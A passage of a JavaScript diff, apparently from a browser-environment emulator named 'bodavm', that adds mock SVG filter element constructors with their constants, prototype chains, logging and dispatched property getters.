enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "in1", { + configurable: true, + enumerable: true, + get: function in1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype, "SVGFEColorMatrixElement", "in1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype, "SVGFEColorMatrixElement", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "values", { + configurable: true, + enumerable: true, + get: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype, "SVGFEColorMatrixElement", "values_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype, "SVGFEColorMatrixElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype, "SVGFEColorMatrixElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype, "SVGFEColorMatrixElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype, "SVGFEColorMatrixElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype, "SVGFEColorMatrixElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGFEComponentTransferElement对象 + +bodavm.memory.globalobj['SVGFEComponentTransferElement'] = function SVGFEComponentTransferElement() { + console.log_copy('SVGFEComponentTransferElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEComponentTransferElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEComponentTransferElement'], "SVGFEComponentTransferElement"); +bodavm.memory.globalobj['SVGFEComponentTransferElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFEComponentTransferElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFEComponentTransferElement', "in1", { + configurable: true, + enumerable: true, + get: function in1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEComponentTransferElement'].prototype, "SVGFEComponentTransferElement", "in1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEComponentTransferElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEComponentTransferElement'].prototype, "SVGFEComponentTransferElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEComponentTransferElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEComponentTransferElement'].prototype, "SVGFEComponentTransferElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEComponentTransferElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEComponentTransferElement'].prototype, "SVGFEComponentTransferElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEComponentTransferElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEComponentTransferElement'].prototype, "SVGFEComponentTransferElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEComponentTransferElement', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEComponentTransferElement'].prototype, "SVGFEComponentTransferElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGFECompositeElement对象 + +bodavm.memory.globalobj['SVGFECompositeElement'] = function SVGFECompositeElement() { + console.log_copy('SVGFECompositeElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFECompositeElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFECompositeElement'], "SVGFECompositeElement"); +bodavm.memory.globalobj['SVGFECompositeElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFECompositeElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_ARITHMETIC", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_XOR", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_ATOP", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_OUT", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_IN", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_OVER", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_ARITHMETIC", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_XOR", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_ATOP", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_OUT", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_IN", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_OVER", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "in2", { + configurable: true, + enumerable: true, + get: function in2() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "in2_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "in1", { + configurable: true, + enumerable: true, + get: function in1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "in1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "operator", { + configurable: true, + enumerable: true, + get: function operator() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "operator_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "k1", { + configurable: true, + enumerable: true, + get: function k1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "k1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "k2", { + configurable: true, + enumerable: true, + get: function k2() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "k2_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "k3", { + configurable: true, + enumerable: true, + get: function k3() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "k3_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "k4", { + configurable: true, + enumerable: true, + get: function k4() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "k4_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGFEConvolveMatrixElement对象 + +bodavm.memory.globalobj['SVGFEConvolveMatrixElement'] = function SVGFEConvolveMatrixElement() { + console.log_copy('SVGFEConvolveMatrixElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEConvolveMatrixElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEConvolveMatrixElement'], "SVGFEConvolveMatrixElement"); +bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "SVG_EDGEMODE_NONE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "SVG_EDGEMODE_WRAP", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "SVG_EDGEMODE_DUPLICATE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "SVG_EDGEMODE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "SVG_EDGEMODE_NONE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "SVG_EDGEMODE_WRAP", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "SVG_EDGEMODE_DUPLICATE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "SVG_EDGEMODE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "in1", { + configurable: true, + enumerable: true, + get: function in1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "in1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "orderX", { + configurable: true, + enumerable: true, + get: function orderX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "orderX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "orderY", { + configurable: true, + enumerable: true, + get: function orderY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "orderY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "kernelMatrix", { + configurable: true, + enumerable: true, + get: function kernelMatrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "kernelMatrix_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "divisor", { + configurable: true, + enumerable: true, + get: function divisor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "divisor_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "bias", { + configurable: true, + enumerable: true, + get: function bias() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "bias_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "targetX", { + configurable: true, + enumerable: true, + get: function targetX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "targetX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "targetY", { + configurable: true, + enumerable: true, + get: function targetY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "targetY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "edgeMode", { + configurable: true, + enumerable: true, + get: function edgeMode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "edgeMode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "kernelUnitLengthX", { + configurable: true, + enumerable: true, + get: function kernelUnitLengthX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "kernelUnitLengthX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "kernelUnitLengthY", { + configurable: true, + enumerable: true, + get: function kernelUnitLengthY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "kernelUnitLengthY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "preserveAlpha", { + configurable: true, + enumerable: true, + get: function preserveAlpha() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "preserveAlpha_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGFEDiffuseLightingElement对象 + +bodavm.memory.globalobj['SVGFEDiffuseLightingElement'] = function SVGFEDiffuseLightingElement() { + console.log_copy('SVGFEDiffuseLightingElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEDiffuseLightingElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEDiffuseLightingElement'], "SVGFEDiffuseLightingElement"); +bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "in1", { + configurable: true, + enumerable: true, + get: function in1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "in1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "surfaceScale", { + configurable: true, + enumerable: true, + get: function surfaceScale() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "surfaceScale_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "diffuseConstant", { + configurable: true, + enumerable: true, + get: function diffuseConstant() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "diffuseConstant_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "kernelUnitLengthX", { + configurable: true, + enumerable: true, + get: function kernelUnitLengthX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "kernelUnitLengthX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "kernelUnitLengthY", { + configurable: true, + enumerable: true, + get: function kernelUnitLengthY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "kernelUnitLengthY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGFEDisplacementMapElement对象 + +bodavm.memory.globalobj['SVGFEDisplacementMapElement'] = function SVGFEDisplacementMapElement() { + console.log_copy('SVGFEDisplacementMapElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEDisplacementMapElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEDisplacementMapElement'], "SVGFEDisplacementMapElement"); +bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFEDisplacementMapElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_A", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_B", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_G", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_R", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_A", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_B", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_G", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_R", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "in1", { + configurable: true, + enumerable: true, + get: function in1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "in1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "in2", { + configurable: true, + enumerable: true, + get: function in2() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "in2_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "scale", { + configurable: true, + enumerable: true, + get: function scale() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "scale_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "xChannelSelector", { + configurable: true, + enumerable: true, + get: function xChannelSelector() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "xChannelSelector_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "yChannelSelector", { + configurable: true, + enumerable: true, + get: function yChannelSelector() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "yChannelSelector_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "result", { + configurable: true, + enumerable: true, + 